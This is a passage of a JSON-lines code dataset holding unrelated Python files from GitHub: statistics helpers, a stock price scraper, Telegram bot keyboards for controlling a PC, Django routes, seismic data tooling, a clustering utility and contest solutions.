metadata: SearchMetadata) -> None:\n block = replace(metadata, state=SearchBlockState.FAILED)\n self.metadata[block.key()] = block\n\n def summarize(self) -> SummaryStats:\n if not self.data:\n raise ValueError(\"No data!\")\n\n largest_computed_n = max(self.data.values(), key=lambda x: x.n)\n largest_witness_value = max(self.data.values(),\n key=lambda x: x.witness_value)\n\n return SummaryStats(largest_computed_n=largest_computed_n,\n largest_witness_value=largest_witness_value)\n","repo_name":"j2kun/riemann-divisor-sum","sub_path":"riemann/in_memory_database.py","file_name":"in_memory_database.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"62"} +{"seq_id":"72044325317","text":"import random\nimport yaml\n\nfrom adgen.default_config import DEFAULT_DOMAIN_SETTINGS\n\n\ndef input_default(prompt, default):\n \"\"\"\n Prompts you to enter parameters from the command line.\n\n Arguments:\n prompt -- the message to prompt\n default -- the default value to use if you do not want to change the parameter\n \"\"\"\n return input(\"%s [%s] \" % (prompt, default)) or default\n\n\ndef check_uniform(a, b):\n \"\"\"\n Checks whether the uniform distribution parameters are valid.\n\n Arguments:\n a -- first parameter of the distribution\n b -- second parameter of the distribution\n \"\"\"\n if a < 0 or b < 0:\n raise Exception(\"ERROR: uniform(a,b): a and b must be positive.\")\n\n elif a > b:\n raise Exception(\"ERROR: uniform(a,b): a must be lower than b.\")\n\n\ndef check_triangular(low, high):\n \"\"\"\n Checks whether the triangular distribution parameters are valid.\n\n Arguments:\n low -- first parameter of the distribution\n high -- second parameter of the distribution\n \"\"\"\n if low < 0 or high < 0:\n raise Exception(\"ERROR: triangular(low,high): low and high must be positive.\")\n elif low > high:\n raise Exception(\"ERROR: triangular(low,high): low must be lower than high.\")\n\n\ndef check_gauss(mu, sigma):\n \"\"\"\n Checks whether the gauss distribution parameters are valid.\n\n Arguments:\n mu -- first parameter of the distribution\n sigma -- second parameter of the distribution\n \"\"\"\n if mu < 0 or sigma < 0:\n raise Exception(f\"ERROR: gauss(mu,sigma): mu and sigma must be positive.\")\n\n\ndef check_gamma(alpha, beta):\n \"\"\"\n Checks whether the gamma distribution parameters are valid.\n\n Arguments:\n alpha -- first parameter of the distribution\n beta -- second parameter of the distribution\n \"\"\"\n if alpha < 0 or beta < 0:\n raise Exception(f\"ERROR: gamma(alpha,beta): alpha and beta must be positive.\")\n\n\ndef generate_random_value(domain_settings, distr, val_1, val_2):\n \"\"\"\n Generates a random value of nodes based on the distribution.\n A maximum of 3 attempts are made; if in 3 attempts you do not\n get a value greater than 100 the value of the nodes to be\n generated will be equal to the default value.\n\n Arguments:\n domain_settings -- the entity to which to configure the nodes\n distr -- distribution\n val_1 -- first parameter of the distribution\n val_2 -- second parameter of the distribution\n \"\"\"\n tmp = 0\n counter = 0\n\n while counter < 3:\n if distr == \"uniform\":\n tmp = random.uniform(val_1, val_2)\n elif distr == \"triangular\":\n tmp = random.triangular(val_1, val_2)\n elif distr == \"gauss\":\n tmp = random.gauss(val_1, val_2)\n elif distr == \"gamma\":\n tmp = random.gammavariate(val_1, val_2)\n\n if tmp < 100:\n counter += 1\n else:\n break\n\n if tmp <= 0:\n domain_settings.nodes = DEFAULT_DOMAIN_SETTINGS.get('nodes')\n print(\"Unfortunately, the value generated is lower or equal to zero. The number of nodes has been reset to the value {}.\".format(domain_settings.nodes))\n else:\n domain_settings.nodes = int(tmp)\n\n\ndef interactive_uniform(domain_settings):\n \"\"\"\n This function creates a uniform distribution based on the\n values entered by the user (interactive mode).\n\n Arguments:\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n a = 100\n b = 300\n\n print(\"Current a and b\")\n print(\"a: {}\".format(a))\n print(\"b: {}\\n\".format(b))\n\n a = int(input_default(\"Enter a\", a))\n b = int(input_default(\"Enter b\", b))\n\n check_uniform(a, b)\n\n print(\"\\nNew a and b\")\n print(\"a: {}\".format(a))\n print(\"b: {}\".format(b))\n\n generate_random_value(domain_settings, \"uniform\", a, b)\n\n\ndef interactive_triangular(domain_settings):\n \"\"\"\n This function creates a triangular distribution based on the\n values entered by the user (interactive mode).\n\n Arguments:\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n low = 100\n high = 300\n\n print(\"Current low and high\")\n print(\"low: {}\".format(low))\n print(\"high: {}\\n\".format(high))\n\n low = int(input_default(\"Enter low\", low))\n high = int(input_default(\"Enter high\", high))\n\n check_triangular(low, high)\n\n print(\"\\nNew low and high\")\n print(\"low: {}\".format(low))\n print(\"high: {}\".format(high))\n\n generate_random_value(domain_settings, \"triangular\", low, high)\n\n\ndef interactive_gauss(domain_settings):\n \"\"\"\n This function creates a Gaussian distribution based on the\n values entered by the user (interactive mode).\n\n Arguments:\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n mu = 100\n sigma = 300\n\n print(\"Current mu and sigma\")\n print(\"mu: {}\".format(mu))\n print(\"sigma: {}\\n\".format(sigma))\n\n mu = int(input_default(\"Enter mu\", mu))\n sigma = int(input_default(\"Enter sigma\", sigma))\n\n check_gauss(mu, sigma)\n\n print(\"\\nNew mu and sigma\")\n print(\"mu: {}\".format(mu))\n print(\"sigma: {}\".format(sigma))\n\n generate_random_value(domain_settings, \"gauss\", mu, sigma)\n\n\ndef interactive_gamma(domain_settings):\n \"\"\"\n This function creates a Gaussian distribution based on the\n values entered by the user (interactive mode).\n\n Arguments:\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n alpha = 100\n beta = 5\n\n print(\"Current alpha and beta\")\n print(\"alpha: {}\".format(alpha))\n print(\"beta: {}\\n\".format(beta))\n\n alpha = int(input_default(\"Enter alpha\", alpha))\n beta = int(input_default(\"Enter beta\", beta))\n\n check_gamma(alpha, beta)\n\n print(\"\\nNew alpha and beta\")\n print(\"alpha: {}\".format(alpha))\n print(\"beta: {}\".format(beta))\n\n generate_random_value(domain_settings, \"gamma\", alpha, beta)\n\n\ndef run_distributions(args, domain_settings):\n \"\"\"\n This function creates distributions based on the values\n entered by the user (run mode).\n\n Arguments:\n args -- the distribution entered by the user\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n txt = args.split(\"(\")\n\n distr = txt[0].lower()\n\n values = txt[1].replace(\")\", \"\").replace(\" \", \"\").split(\",\")\n val_1 = int(values[0])\n val_2 = int(values[1])\n\n if distr == \"uniform\":\n check_uniform(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"triangular\":\n check_triangular(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"gauss\":\n check_gauss(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"gamma\":\n check_gamma(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n\n\ndef config_distributions(args, domain_settings):\n \"\"\"\n This function creates distributions based on the values\n entered by the user (config mode).\n\n Arguments:\n args -- the distribution entered by the user\n domain_settings -- the entity to which to configure the domain\n \"\"\"\n path = args\n\n with open(path) as fh:\n data = yaml.load(fh, Loader=yaml.FullLoader)\n distr = data[0].get('distribution').lower()\n val_1 = data[0].get('x')\n val_2 = data[0].get('y')\n\n if distr == \"uniform\":\n check_uniform(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"triangular\":\n check_triangular(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"gauss\":\n check_gauss(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n elif distr == \"gamma\":\n check_gamma(val_1, val_2)\n generate_random_value(domain_settings, distr, val_1, val_2)\n","repo_name":"lorenzo-mariani/adgen","sub_path":"adgen/utils/distributions.py","file_name":"distributions.py","file_ext":"py","file_size_in_byte":8145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45938909720","text":"import collections\nimport sys\n\ninput = sys.stdin.readline\n\nfor _ in range(int(input())):\n n = int(input())\n data = [input().split() for _ in range(3)]\n\n chk = [0] * n\n v = [1, 2, 4]\n\n memo = collections.defaultdict(int)\n\n for i in range(3):\n for j in data[i]:\n memo[j] += v[i]\n\n ans = [0] * 3\n for i in memo.values():\n if i == 1:\n ans[0] += 3\n elif i == 2:\n ans[1] += 3\n elif i == 4:\n ans[2] += 3\n elif i == 3:\n ans[0] += 1\n ans[1] += 1\n elif i == 5:\n ans[0] += 1\n ans[2] += 1\n elif i ==6:\n ans[1] += 1\n ans[2] += 1\n\n print(*ans)\n\n\n","repo_name":"ThinkingDobby/PythonProgramming","sub_path":"codeforces/practice/year22/mon10/under1000/1722C. Word Game.py","file_name":"1722C. Word Game.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2973274766","text":"import requests\nimport time\nimport threading\nfrom bs4 import BeautifulSoup\n\nclass YahooPriceReader(threading.Thread):\n BASE_URL = \"https://finance.yahoo.com/quote\"\n COMPANY_PRICE = {}\n def __init__(self,symbol,**kwargs):\n self._symbol = symbol\n # self.companyPrice = {}\n super(YahooPriceReader,self).__init__(**kwargs)\n self.start()\n\n def _getResponseObject(self):\n try:\n resp = requests.get(f\"{YahooPriceReader.BASE_URL}/{self._symbol}\")\n return resp\n except Exception as exc:\n print(f\"An error occured for {self._symbol}----->{exc}\")\n \n def _getCompanyPrice(self):\n resp = self._getResponseObject()\n try:\n if resp.status_code == 200:\n soup = BeautifulSoup(resp.content, \"lxml\")\n price = float(soup.find(\"fin-streamer\",\n attrs={\"data-symbol\": self._symbol}).get_text().strip().replace(\",\",\"\"))\n YahooPriceReader.COMPANY_PRICE[self._symbol] = price\n print(f\"Price for {self._symbol}---->{price}\")\n except Exception as exc:\n print(f\"An error has occured for {self._symbol}---->{exc}\")\n \n def run(self):\n self._getCompanyPrice()\n\n\n\n","repo_name":"gunny18/Python-Concurrency","sub_path":"Threading/Stock Price Reader/workers/YahooPriceReader.py","file_name":"YahooPriceReader.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42873251128","text":"# -*- coding: utf-8 -*-\n#\n# PcControl - keyboards.\n# Created by LulzLoL231 at 29/11/20\n#\nfrom aiogram import types\n\nimport security as sec\nfrom emojis import Emojis\nfrom security import getLogger\n\n\nclass Keyboards:\n '''PCON Telegram Keyboards class.\n '''\n def __init__(self, user: dict) -> None:\n self.hubs_text = 'Хабы'\n self.devices_text = 'Устройства'\n self.netstatus_text = 'Статус сетей'\n self.help_text = 'Помощь'\n self.users_text = 'Пользователи'\n self.back_text = f'{Emojis.back_page} Назад'\n self.lock_text = Emojis.lock\n self.vc_demount_text = Emojis.key\n self.switch_text = Emojis.switch\n self.reboot_text = Emojis.reboot\n self.sleep_text = Emojis.sleep\n self.poweroff_text = Emojis.poweroff\n self.media_play_pause_text = Emojis.play_pause\n self.media_stop_text = Emojis.stop\n self.media_prev_track_text = Emojis.prev_track\n self.media_next_track_text = Emojis.next_track\n self.media_max_volume_text = 'MAX'\n self.media_50_volume_text = '50'\n self.media_min_volume_text = 'MIN'\n self.media_volume_up_text = Emojis.plus\n self.media_volume_down_text = Emojis.minus\n self.media_mute_text = Emojis.mute\n self.user_level = user['level']\n self.userctrl_delete_text = f'{Emojis.cancel} Отозвать права'\n self.userctrl_rename_text = f'{Emojis.pen} Изменить имя'\n self.userctrl_levelup_text = f'{Emojis.warning} Повысить права'\n self.userctrl_leveldown_text = f'{Emojis.warning} Понизить права'\n self.device_rename_alias_text = f'{Emojis.pen} Изменить псевдоним'\n\n def start(self) -> types.ReplyKeyboardMarkup:\n '''Returns telegram reply markup keyboard for \"start\" cmd.\n\n Returns:\n types.ReplyKeyboardMarkup: telegram markup keyboard.\n '''\n key = types.ReplyKeyboardMarkup(resize_keyboard=True)\n if self.user_level == 'user':\n key.row(self.devices_text)\n key.row(self.help_text)\n else:\n key.row(self.hubs_text, self.devices_text)\n key.row(self.help_text, self.netstatus_text)\n key.row(self.users_text)\n return key\n\n def controlDevice(self, device: dict) -> types.InlineKeyboardMarkup:\n '''Returns inline keyboard with device control buttons.\n\n Args:\n device (dict): device info.\n\n Returns:\n types.InlineKeyboardMarkup: telegram inline keyboard.\n '''\n getLogger('keyboards', 'controlDevice').debug(\n f'Called with device: {str(device)}')\n key = types.InlineKeyboardMarkup()\n lockbtn = types.InlineKeyboardButton(\n self.lock_text,\n callback_data=sec.signData(f'lock@{device[\"uuid\"]}')\n )\n if device['type'] == 'PC' and device['platform_name'] == 'win32' and device['has_proxy'] is True:\n switchbtn = types.InlineKeyboardButton(\n self.switch_text,\n callback_data=sec.signData(f'switch_proxy@{device[\"uuid\"]}')\n )\n if device['has_vc'] is True:\n vc_demountbtn = types.InlineKeyboardButton(\n self.vc_demount_text,\n callback_data=sec.signData(f'vc_demount@{device[\"uuid\"]}')\n )\n key.row(lockbtn, switchbtn, vc_demountbtn)\n else:\n key.row(lockbtn, switchbtn)\n else:\n key.row(lockbtn)\n rebootbtn = types.InlineKeyboardButton(\n self.reboot_text,\n callback_data=sec.signData(f'reboot@{device[\"uuid\"]}')\n )\n poweroffbtn = types.InlineKeyboardButton(\n self.poweroff_text,\n callback_data=sec.signData(f'shutdown@{device[\"uuid\"]}')\n )\n sleepbtn = types.InlineKeyboardButton(\n self.sleep_text,\n callback_data=sec.signData(f'sleep@{device[\"uuid\"]}')\n )\n prev_track_btn = types.InlineKeyboardButton(\n self.media_prev_track_text,\n callback_data=sec.signData(f'media_prev@{device[\"uuid\"]}')\n )\n play_pause_btn = types.InlineKeyboardButton(\n self.media_play_pause_text,\n callback_data=sec.signData(f'media_play_pause@{device[\"uuid\"]}')\n )\n next_track_btn = types.InlineKeyboardButton(\n self.media_next_track_text,\n callback_data=sec.signData(f'media_next@{device[\"uuid\"]}')\n )\n vol_max_btn = types.InlineKeyboardButton(\n self.media_max_volume_text,\n callback_data=sec.signData(f'media_vol_max@{device[\"uuid\"]}')\n )\n vol_50_btn = types.InlineKeyboardButton(\n self.media_50_volume_text,\n callback_data=sec.signData(f'media_vol_50@{device[\"uuid\"]}')\n )\n vol_min_btn = types.InlineKeyboardButton(\n self.media_min_volume_text,\n callback_data=sec.signData(f'media_vol_min@{device[\"uuid\"]}')\n )\n vol_up_btn = types.InlineKeyboardButton(\n self.media_volume_up_text,\n callback_data=sec.signData(f'media_vol_up@{device[\"uuid\"]}')\n )\n mute_btn = types.InlineKeyboardButton(\n self.media_mute_text,\n callback_data=sec.signData(f'media_mute@{device[\"uuid\"]}')\n )\n vol_down_btn = types.InlineKeyboardButton(\n self.media_volume_down_text,\n callback_data=sec.signData(f'media_vol_down@{device[\"uuid\"]}')\n )\n rename_btn = types.InlineKeyboardButton(\n self.device_rename_alias_text,\n callback_data=sec.signData(f'rename@{device[\"uuid\"]}')\n )\n back_btn = types.InlineKeyboardButton(\n self.back_text,\n callback_data='devices'\n )\n key.row(rebootbtn, sleepbtn, poweroffbtn)\n key.row(prev_track_btn, play_pause_btn, next_track_btn)\n key.row(vol_up_btn, mute_btn, vol_down_btn)\n key.row(vol_max_btn, vol_50_btn, vol_min_btn)\n key.row(rename_btn)\n key.row(back_btn)\n return key\n\n def getReturnKey(self) -> types.InlineKeyboardMarkup:\n '''Returns 'Return' button keyboard.\n\n Returns:\n types.InlineKeyboardMarkup: telegram inline keyboard.\n '''\n key = types.InlineKeyboardMarkup()\n key.row(types.InlineKeyboardButton(\n self.back_text,\n callback_data='devices'\n ))\n return key\n\n def controlUser(self, user: dict) -> types.InlineKeyboardMarkup:\n '''User control keyboard.\n\n Args:\n user (dict): user info.\n\n Returns:\n types.InlineKeyboardMarkup: telegram inline keyboard.\n '''\n getLogger('keyboards', 'controlUser').debug(f'Called with user: {str(user)}')\n rename_btn = types.InlineKeyboardButton(\n self.userctrl_rename_text,\n callback_data=sec.signData(f'renameuser@{str(user[\"id\"])}')\n )\n if user['level'] == 'user':\n level_btn = types.InlineKeyboardButton(\n self.userctrl_levelup_text,\n callback_data=sec.signData(f'levelupuser@{str(user[\"id\"])}')\n )\n else:\n level_btn = types.InlineKeyboardButton(\n self.userctrl_leveldown_text,\n callback_data=sec.signData(f'leveldownuser@{str(user[\"id\"])}')\n )\n delete_btn = types.InlineKeyboardButton(\n self.userctrl_delete_text,\n callback_data=sec.signData(f'deleteuser@{str(user[\"id\"])}')\n )\n key = types.InlineKeyboardMarkup()\n key.row(rename_btn)\n key.row(level_btn, delete_btn)\n key.row(types.InlineKeyboardButton(\n self.back_text,\n callback_data='users'\n ))\n return key\n","repo_name":"LulzLoL231/lzssbot_public","sub_path":"keyboards.py","file_name":"keyboards.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22669223502","text":"#!/usr/bin/python3\n'''\nAbstract:\n This is a program for find the index of each label in label predicted files. \nUsage:\n find_index.py [label_pred.txt]\nOutput:\n 1. cls_pred files \n 2. star index \n 3. gala index \n 4. ysos index \nEditor:\n Jacob975\n\n##################################\n# Python3 #\n# This code is made in python3 #\n##################################\n\n20190906\n####################################\nupdate log\n'''\nimport tensorflow as tf\nimport time\nimport numpy as np\nfrom sys import argv\n\n#--------------------------------------------\n# Main code\nif __name__ == \"__main__\":\n VERBOSE = 0\n # Measure time\n start_time = time.time()\n #-----------------------------------\n # Load argv\n if len(argv) != 2:\n print (\"The number of arguments is wrong.\")\n print (\"Usage: find_index.py [label_pred.txt]\")\n exit()\n inp_table_name = argv[1]\n #-----------------------------------\n inp_table = np.loadtxt(inp_table_name)\n cls_pred = np.argmax(inp_table, axis = 1)\n star_index = np.where(cls_pred == 0)\n gala_index = np.where(cls_pred == 1)\n ysos_index = np.where(cls_pred == 2)\n np.savetxt('student_cls_pred.txt', cls_pred, fmt = '%d')\n np.savetxt('star_index.txt', star_index, fmt = '%d')\n np.savetxt('gala_index.txt', gala_index, fmt = '%d')\n np.savetxt('ysos_index.txt', ysos_index, fmt = '%d')\n #-----------------------------------\n # Measure time\n elapsed_time = time.time() - start_time\n print(\"Exiting Main Program, spending \", elapsed_time, \"seconds.\")\n","repo_name":"jacob975/deep_learning","sub_path":"find_index.py","file_name":"find_index.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"40539805250","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"register\", views.register, name=\"register\"),\n path('buy', views.buy, name='buy'),\n path('sell', views.sell, name='sell'),\n path('history', views.history, name='history'),\n path('quote', views.quote, name='quote'),\n path(\"class\", views.classes, name='class'),\n path(\"leave\", views.leave, name=\"leave\"),\n path(\"clas_register\", views.class_register, name='class_register'),\n path(\"profile\", views.profile, name='profile'),\n path(\"graph/\", views.graph, name='graph'),\n path(\"delete\", views.delete, name=\"delete\"),\n path(\"team\", views.team, name='team')\n]","repo_name":"SaRoCS/Stock-Education","sub_path":"stocks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18008160806","text":"#!/opt/anaconda3/bin/python\n\nimport os\n\n\"\"\"\nOjo! Para que funcione debe estar instalado el paquete 'sox' de linux\n\"\"\"\n\n\ntiempo_tot = float(input(\"Segundos? _> \"))\nfrec = float(input(\"Frecuencia? _> \"))\nprint(\"Sonando durante %.2f segundos a %.2f Hz\"%(tiempo_tot,frec))\nprint(\"Para detener presione Ctr+C\")\nos.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (tiempo_tot, frec))\n","repo_name":"NickTrossa/Python","sub_path":"pruebas/prueba_tonos.py","file_name":"prueba_tonos.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39197124122","text":"# https://www.acmicpc.net/problem/14867\nimport sys\nfrom collections import deque\nsi = sys.stdin.readline\nmis = lambda: map(int, si().split())\n\nif __name__ == '__main__':\n a, b, c, d = mis()\n \n q = deque([(0, 0, 0)])\n visited = set([(0, 0)])\n ans = -1\n while q:\n x, y, t = q.popleft()\n \n if x == c and y == d:\n ans = t\n break\n\n for nx, ny in [(a, y), (x, b), (0, y), (x, 0)]:\n if (nx, ny) in visited: continue\n visited.add((nx, ny))\n q.append((nx, ny, t + 1))\n \n # x <- y\n if x + y > a:\n nx, ny = a, x + y - a\n else:\n nx, ny = x + y, 0\n if (nx, ny) not in visited:\n visited.add((nx, ny))\n q.append((nx, ny, t + 1))\n \n # x -> y\n if x + y > b:\n nx, ny = x + y - b, b\n else:\n nx, ny = 0, x + y\n if (nx, ny) not in visited:\n visited.add((nx, ny))\n q.append((nx, ny, t + 1))\n print(ans)","repo_name":"punkryn/ryu_algo","sub_path":"물통.py","file_name":"물통.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42906464644","text":"from ast import List\nimport requests\nfrom obspy import read, Stream, UTCDateTime, Trace\nimport time\nimport os\nimport shutil\nimport threading\nimport multiprocessing\n\nMSEED_FOLDER = \"eews_backend/mseed/\"\nSOURCE_MSEED = \"eews_backend/generator/20150920_151412.mseed\"\nREST_URL = \"http://127.0.0.1:8000\"\nMSEED_RANGE_IN_SECONDS = 10\n\nglobal process_list\nprocess_list = []\n\n\ndef main():\n split_mseed()\n global process_list\n print(\"Start sending file to\", REST_URL)\n for station in os.listdir(MSEED_FOLDER):\n send_process = multiprocessing.Process(target=send, args=(station,))\n send_process.name = station\n process_list.append(send_process)\n for process in process_list:\n process.start()\n\n\ndef send(station: str):\n folder = f\"{MSEED_FOLDER}/{station}/\"\n BHE: List[str] = os.listdir(f\"{folder}BHE/\")\n BHN: List[str] = os.listdir(f\"{folder}BHN/\")\n BHZ: List[str] = os.listdir(f\"{folder}BHZ/\")\n\n for index in range(len(BHE)):\n bhe_mseed: bytes = open(f\"{MSEED_FOLDER}/{station}/BHE/{BHE[index]}\", \"rb\")\n bhn_mseed: bytes = open(f\"{MSEED_FOLDER}/{station}/BHN/{BHN[index]}\", \"rb\")\n bhz_mseed: bytes = open(f\"{MSEED_FOLDER}/{station}/BHZ/{BHZ[index]}\", \"rb\")\n\n threading.Thread(\n target=post, args=(f\"{REST_URL}/mseed\", {\"file\": bhe_mseed})\n ).start()\n threading.Thread(\n target=post, args=(f\"{REST_URL}/mseed\", {\"file\": bhn_mseed})\n ).start()\n threading.Thread(\n target=post, args=(f\"{REST_URL}/mseed\", {\"file\": bhz_mseed})\n ).start()\n\n time.sleep(10)\n\n\ndef post(url, files):\n requests.post(url, files=files)\n\n\ndef split_mseed():\n print(\"Mseed will be saved to folder\", MSEED_FOLDER)\n print(\"Splitting mseed\")\n st: Stream = read(SOURCE_MSEED)\n first_starttime = min([trace.stats[\"starttime\"] for trace in st])\n dt = UTCDateTime(first_starttime)\n last_endtime = max([trace.stats[\"endtime\"] for trace in st])\n trace: Trace\n shutil.rmtree(MSEED_FOLDER)\n while dt <= last_endtime:\n trimmed = st.slice(dt, dt + MSEED_RANGE_IN_SECONDS)\n for trace in trimmed:\n stats = trace.stats\n filename = f\"{MSEED_FOLDER}{stats['station']}/{stats['channel']}/{dt.strftime('%Y%m%d')}_{stats['starttime'].strftime('%H%M%S')}.mseed\"\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n trace.write(filename=filename, format=\"MSEED\")\n dt += MSEED_RANGE_IN_SECONDS\n print(\"Finished splitting mseed\")\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n for process in process_list:\n process.terminate()\n process.join()\n","repo_name":"risw24/eews-event-driven-v1","sub_path":"eews_backend/generator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34620812639","text":"\"\"\"Decide which sql statemnt to build depending on argument from centricity.\"\"\"\n\nfrom sql.sql_query import query_by_job_title\nfrom log.cps_logging import config_logging\nlogger = config_logging()\n\n\ndef cps_parameter_parse(param):\n \"\"\"If statement to determine which function to call.\n\n >>> zero_param = \"0|case manager\"\n >>> preloader_param = \"1|Preloader\"\n >>> error_param = \"100|Preloader\"\n >>> cps_parameter_parse(zero_param)\n 'Zero'\n >>> cps_parameter_parse(preloader_param)\n 'c y test [ctest]'\n >>> cps_parameter_parse(error_param)\n 'Input error'\n \"\"\"\n logger.debug(f'{__name__}: parameter passes was {param}')\n input_str = param.split('|')\n return_str = \"\"\n\n try:\n query_switch = int(input_str[0])\n query = input_str[1].strip()\n logger.debug(f'{__name__}: Query switch - {query_switch}' +\n f' Query - {query}')\n except ValueError:\n logger.warning(f\"{__name__}: Error converting to int\")\n except Exception:\n logger.warning(f'{__name__} Unknown error:', exec_info=True)\n\n # 0 --> testing\n if query_switch == 0:\n logger.warning(f'{__name__}: Query switch should not be 0')\n return_str = \"Zero\"\n # 1 --> query by jobTitle\n elif query_switch == 1:\n result = query_by_job_title(query)\n logger.debug(f'{__name__} Parsed output --> {result}')\n return_str = result\n # discard unknown argument\n else:\n logger.warning(f'{__name__}: Query switch is unknown')\n return_str = \"Input error\"\n\n return return_str\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"ayushmaskey/centricity_io","sub_path":"app/cps/parse_input.py","file_name":"parse_input.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12236730837","text":"import numpy as np\nfrom active_semi_clustering.semi_supervised.pairwise_constraints import PCKMeans\nfrom active_semi_clustering.exceptions import InconsistentConstraintsException\nimport matplotlib.pyplot as plt\nimport sys\nimport pickle\nfrom sklearn import datasets, metrics\nfrom sklearn.neighbors import NearestNeighbors, LocalOutlierFactor\nfrom sklearn.ensemble import IsolationForest\nimport pandas as pd\nfrom pandas.api.types import is_object_dtype, is_bool_dtype\n\ndef convert_problematic_data(data):\n '''\n Takes a dataset\n Converts all data that is not numerical into numerical data. \n Returns an updated dataset with all numiercal values. \n '''\n df = pd.DataFrame(data=data)\n df = df.infer_objects() \n category_columns = []\n # Determine which columns are categorical\n for i in range(0, len(df.columns)):\n if is_object_dtype(df[i]) or is_bool_dtype(df[i]):\n category_columns.append(i)\n #Convert all the category columns into values\n for i in category_columns:\n if is_object_dtype(df[i]):\n df[i] = df[i].astype('category')\n df[i] = df[i].cat.codes\n elif is_bool_dtype(df[i]):\n df[i] = df[i].replace([True,False],[1,0])\n return df.to_numpy()\n\ndef create_constraint(links):\n '''\n Takes a list of (index, index) lists. \n Exports links to be symettric and linked based off of logic within links. \n\n Input: [(40, 41), (42, 41)]\n Output: [(40, 41), (41, 40), (42, 41), (41, 42), (40, 42), (42, 40)]\n\n Input: [(40, 41), (42, 43)]\n Output: [(40, 41), (41, 40), (42, 43), (43, 42)]\n '''\n final_link = []\n for link in links:\n final_link.append((int(link[0]), int(link[1])))\n final_link.append((int(link[1]), int(link[0])))\n links_new = final_link.copy()\n for link in links_new:\n for link2 in links_new:\n if link != link2 and link[1] == link2[0] and link[0] != link2[1] and (link[0], link2[1]) not in final_link:\n final_link.append((int(link[0]), int(link2[1])))\n final_link.append((int(link2[1]), int(link[0])))\n return final_link\n\ndef search_in_question_set(set, v1, v2):\n '''\n Supports in question_set calculation. \n Checks if two samples are already inputed to the question set or not. \n '''\n for i in range(len(set)-1):\n #print(\"Set[i]: \" ,set[i], \"Set[i+1]:\", set[i+1], \"V1: \" ,v1, \"V2: \", v2 )\n if int(set[i]) == int(v1) and int(set[i+1]) == int(v2):\n return False\n if int(set[i]) == int(v2) and int(set[i+1]) == int(v1):\n return False\n return True\n\ndef find_pair(index, neighbor, data, value, labels, question_set, must_link_constraints, cant_link_constraints, unknown_constraints): \n found = False\n closest_neighbor_index = neighbor.kneighbors(data[value].reshape(1, -1), n_neighbors=len(data))[1][0]\n while not found:\n try:\n if labels[closest_neighbor_index[index]] != labels[value[0]]:\n found = search_in_question_set(\n question_set, value[0], closest_neighbor_index[index])\n if found:\n found = search_in_question_set(\n must_link_constraints, value[0], closest_neighbor_index[index])\n if found:\n found = search_in_question_set(\n cant_link_constraints, value[0], closest_neighbor_index[index])\n if found:\n found = search_in_question_set(\n unknown_constraints, value[0], closest_neighbor_index[index])\n if found:\n question_set.append(value[0])\n question_set.append(closest_neighbor_index[index])\n found = True\n index += 1\n except IndexError:\n # Error 3 sent to client to handle properly.\n print(3)\n raise IndexError(\"Unable to find another Sample to match \"+ str(value[0]) +\" with due to constraints.\")\n\ndef compute_questions(filename, cluster_iter, question_num, cluster_num, must_link_constraints, cant_link_constraints, unknown_constraints):\n data = convert_problematic_data(pd.read_csv('datasets/'+filename).to_numpy())\n # Will not be aware of ml or cl constraints until after user passes Iteration 1\n if int(cluster_iter) != 1:\n ml_converted = [i for i in zip(*[iter(must_link_constraints)]*2)]\n cl_converted = [i for i in zip(*[iter(cant_link_constraints)]*2)]\n # Generates the setup for constraints from input from the user.\n ml = create_constraint(ml_converted)\n cl = create_constraint(cl_converted)\n # Applying new constraints to the model\n model = PCKMeans(n_clusters=cluster_num)\n try:\n model.fit(data, ml=ml, cl=cl)\n except InconsistentConstraintsException:\n # Error 2 sent to client to handle properly.\n print(2)\n raise InconsistentConstraintsException(\"Inconsistent constraints\")\n clusters_inc_model = PCKMeans(n_clusters=cluster_num+1)\n 